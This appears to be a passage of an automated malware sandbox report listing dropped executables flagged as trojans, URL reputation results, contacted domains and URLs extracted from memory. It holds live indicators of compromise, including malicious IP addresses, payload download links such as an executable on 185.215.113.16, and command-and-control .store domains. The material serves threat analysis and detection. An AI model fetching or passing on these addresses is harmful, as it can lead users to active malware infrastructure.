C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2JQFWL80C2PDPM4ZGE0SD0WKWOYQK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2J7JZ7M9HIPPAJBVZPWDBIK4VI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003023001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\50NZQQK98UQJAWNGOUBIYXS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CT05WZXFBOD5DYW9HOHXFI0FQUF.exe	100%	Joe Sandbox ML
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003023001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	39%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://coverage.mozilla.org	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://blocked.cdn.mozilla.net/	0%	URL Reputation	safe
https://profiler.firefox.com	0%	URL Reputation	safe
https://outlook.live.com/default.aspx?rru=compose&to=%s	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://mozilla.cloudflare-dns.com/dns-query	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://poczta.interia.pl/mh/?mailto=%s	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://getpocket.com/recommendations	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
http://185.215.113.43/Zu7JuNko/index.php	100%	URL Reputation	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
twitter.com	104.244.42.65	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
youtube.com	142.250.185.238	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	142.250.185.110	true	false	unknown
reddit.map.fastly.net	151.101.1.140	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.171	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
fadehairucw.store	true		unknown
http://185.215.113.206/6c4adf523b719729.php	true		unknown
founpiuer.store	true		unknown
presticitpo.store	true		unknown
navygenerayk.store	true		unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true		unknown
necklacedmny.store	true		unknown
http://185.215.113.43/Zu7JuNko/index.php	true	URL Reputation: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2757325521.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001F.00000002.2745093236.0000024B8AD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A386000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.accounts.firefox.com/v1	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiM3	file.exe, 00000000.00000003.1752693002.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1752852815.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1750048641.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1733203784.0000000005614000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2477148115.0000000005550000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2685667748.0000000005AF4000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2729847049.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2772467514.00000000052A2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 00000023.00000002.2745372993.000002732A30A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/98	ef2e7274a0.exe, 00000020.00000003.2677155561.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/mine/random.exer	0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.1870527324.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870733350.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870800094.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1870872236.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 00000023.00000002.2745372993.000002732A312000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1704194467.0000000005600000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2440011031.0000000005540000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2708330198.0000000005294000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://185.215.113.16/b	0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Z	0bdaf26796.exe, 00000009.00000003.2715576632.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2715440135.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
